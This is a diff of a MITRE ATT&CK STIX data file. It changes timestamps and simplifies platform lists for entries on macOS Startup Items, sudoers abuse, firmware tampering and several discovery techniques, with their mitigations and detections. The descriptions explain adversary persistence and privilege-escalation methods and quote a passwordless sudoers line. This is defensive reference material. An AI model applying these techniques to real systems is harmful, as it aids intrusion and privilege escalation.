-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Startup Items Mitigation",
             "description": "Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can\u2019t be leveraged for privilege escalation.",
             "external_references": [
@@ -12460,9 +13241,9 @@
             "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Startup Items",
-            "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
+            "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12501,8 +13282,7 @@
                 "root"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_permissions_required": [
                 "Administrator"
@@ -12512,8 +13292,8 @@
             "type": "course-of-action",
             "id": "course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sudo Mitigation",
             "description": "The sudoers file should be strictly edited such that passwords are always required and that users can\u2019t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.",
             "external_references": [
@@ -12529,9 +13309,9 @@
             "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sudo",
-            "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: root\n\nPermissions Required: User",
+            "description": "The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.\n\nDetection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring\n\nEffective Permissions: root\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12559,21 +13339,20 @@
             "x_mitre_effective_permissions": [
                 "root"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Firmware Mitigation",
             "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)",
             "external_references": [
@@ -12594,9 +13373,9 @@
             "id": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:28.613Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Firmware",
-            "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, BIOS, EFI\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Ryan Becwar, McAfee",
+            "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)\n\nPlatforms: Windows\n\nData Sources: API monitoring, BIOS, EFI\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Ryan Becwar, McAfee",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12667,26 +13446,15 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Information Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -12727,9 +13495,9 @@
             "id": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:04.307Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Information Discovery",
-            "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
+            "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.\n\n===Windows===\n\nExample commands and utilities that obtain this information include <code>ver</code>, Systeminfo, and <code>dir</code> within cmd for identifying information based on present files and directories.\n\n===Mac===\n\nOn Mac, the <code>systemsetup</code> command gives a detailed breakdown of the system, but it requires administrative privileges. Additionally, the <code>system_profiler</code> gives a very detailed breakdown of configurations, firewall rules, mounted volumes, hardware, and many other things without needing elevated permissions.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12754,29 +13522,17 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--684feec3-f9ba-4049-9d8f-52d52f3e0e40",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Network Configuration Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about a system's network configuration, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -12817,9 +13573,9 @@
             "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:27.342Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Network Configuration Discovery",
-            "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
+            "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12844,29 +13600,17 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--c1676218-c16a-41c9-8f7a-023779916e39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Network Connections Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -12907,9 +13651,9 @@
             "id": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:45.139Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Network Connections Discovery",
-            "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator",
+            "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, <code>netstat</code> and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -12935,29 +13679,17 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--16f144e4-c780-4ed2-98b4-55d14e2dfa44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Owner/User Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system users, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -12998,9 +13730,9 @@
             "id": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:35.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Owner/User Discovery",
-            "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n===Mac===\n\nOn Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.\n\n===Linux===\n\nOn Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator",
+            "description": "===Windows===\n\nAdversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs.\n\n===Mac===\n\nOn Mac, the currently logged in user can be identified with <code>users</code>,<code>w</code>, and <code>who</code>.\n\n===Linux===\n\nOn Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13027,29 +13759,17 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--d8787791-d22e-45bb-a9a8-251d8d0a1ff2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Service Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -13090,9 +13810,9 @@
             "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:21.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Service Discovery",
-            "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -13119,26 +13839,15 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--82d8e990-c901-4aed-8596-cc002e7eb307",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Time Discovery Mitigation",
             "description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -13179,9 +13888,9 @@
             "id": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:37.450Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Time Discovery",
